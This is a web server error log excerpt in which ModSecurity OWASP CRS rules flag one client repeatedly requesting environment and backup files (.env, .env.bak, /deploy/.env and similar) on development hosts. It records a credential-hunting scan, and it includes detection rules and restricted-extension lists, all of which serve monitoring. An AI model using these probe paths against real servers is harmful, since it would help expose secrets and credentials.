[Fri Jul 17 09:14:12.015688 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.development"] [unique_id "almlDPwooI4qY7Jg93pYiAAAABM"]
[Fri Jul 17 09:14:12.071531 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/storage/.env"] [unique_id "almlDIe39YUk0SgV8AU9JwAAABE"]
[Fri Jul 17 09:14:12.071823 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/storage/.env"] [unique_id "almlDIe39YUk0SgV8AU9JwAAABE"]
[Fri Jul 17 09:14:12.072137 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDIe39YUk0SgV8AU9JwAAABE"]
[Fri Jul 17 09:14:12.186265 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlDPwooI4qY7Jg93pYiAAAABM"]
[Fri Jul 17 09:14:12.242505 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/var/www/.env"] [unique_id "almlDA5GPQ6hs4VrfMpE3AAAAAY"]
[Fri Jul 17 09:14:12.242767 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/var/www/.env"] [unique_id "almlDA5GPQ6hs4VrfMpE3AAAAAY"]
[Fri Jul 17 09:14:12.243013 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDA5GPQ6hs4VrfMpE3AAAAAY"]
[Fri Jul 17 09:14:12.356102 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.test"] [unique_id "almlDLoj0IkvhSCYadmEuAAAAAQ"]
[Fri Jul 17 09:14:12.357327 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.test"] [unique_id "almlDLoj0IkvhSCYadmEuAAAAAQ"]
[Fri Jul 17 09:14:12.419903 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/var/www/html/.env"] [unique_id "almlDA7FYe46zHK_jL3S7QAAABk"]
[Fri Jul 17 09:14:12.420222 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/var/www/html/.env"] [unique_id "almlDA7FYe46zHK_jL3S7QAAABk"]
[Fri Jul 17 09:14:12.420577 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDA7FYe46zHK_jL3S7QAAABk"]
[Fri Jul 17 09:14:12.509239 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:12.571414 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlDLoj0IkvhSCYadmEuAAAAAQ"]
[Fri Jul 17 09:14:12.594463 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/current/.env"] [unique_id "almlDLEWOaI5pmYo9fnRvgAAAAA"]
[Fri Jul 17 09:14:12.594874 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/current/.env"] [unique_id "almlDLEWOaI5pmYo9fnRvgAAAAA"]
[Fri Jul 17 09:14:12.595318 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDLEWOaI5pmYo9fnRvgAAAAA"]
[Fri Jul 17 09:14:12.754747 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.remote"] [unique_id "almlDARRrtuZqNDDSqWzJQAAABo"]
[Fri Jul 17 09:14:12.755949 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.remote"] [unique_id "almlDARRrtuZqNDDSqWzJQAAABo"]
[Fri Jul 17 09:14:12.763514 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/release/.env"] [unique_id "almlDA5GPQ6hs4VrfMpE3QAAAAY"]
[Fri Jul 17 09:14:12.763796 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/release/.env"] [unique_id "almlDA5GPQ6hs4VrfMpE3QAAAAY"]
[Fri Jul 17 09:14:12.764257 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDA5GPQ6hs4VrfMpE3QAAAAY"]
[Fri Jul 17 09:14:12.908003 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:12.932453 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/releases/.env"] [unique_id "almlDA7FYe46zHK_jL3S7gAAABk"]
[Fri Jul 17 09:14:12.932755 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/releases/.env"] [unique_id "almlDA7FYe46zHK_jL3S7gAAABk"]
[Fri Jul 17 09:14:12.933066 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDA7FYe46zHK_jL3S7gAAABk"]
[Fri Jul 17 09:14:13.039399 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:42562] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:13.050426 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlDARRrtuZqNDDSqWzJQAAABo"]
[Fri Jul 17 09:14:13.100127 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/shared/.env"] [unique_id "almlDbEWOaI5pmYo9fnRvwAAAAA"]
[Fri Jul 17 09:14:13.100413 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/shared/.env"] [unique_id "almlDbEWOaI5pmYo9fnRvwAAAAA"]
[Fri Jul 17 09:14:13.100720 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDbEWOaI5pmYo9fnRvwAAAAA"]
[Fri Jul 17 09:14:13.114466 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:13.218741 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.bak"] [unique_id "almlDfwooI4qY7Jg93pYigAAABM"]
[Fri Jul 17 09:14:13.219062 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.bak"] [unique_id "almlDfwooI4qY7Jg93pYigAAABM"]
[Fri Jul 17 09:14:13.220287 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.bak"] [unique_id "almlDfwooI4qY7Jg93pYigAAABM"]
[Fri Jul 17 09:14:13.273334 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/deploy/.env"] [unique_id "almlDVCBpfuYyhJ140vVuQAAAB4"]
[Fri Jul 17 09:14:13.273607 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/deploy/.env"] [unique_id "almlDVCBpfuYyhJ140vVuQAAAB4"]
[Fri Jul 17 09:14:13.273862 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDVCBpfuYyhJ140vVuQAAAB4"]
[Fri Jul 17 09:14:13.332929 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlDbEKozcCJ-ReuK0F3gAAAAg"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:14:13.332968 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlDbEKozcCJ-ReuK0F3gAAAAg"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
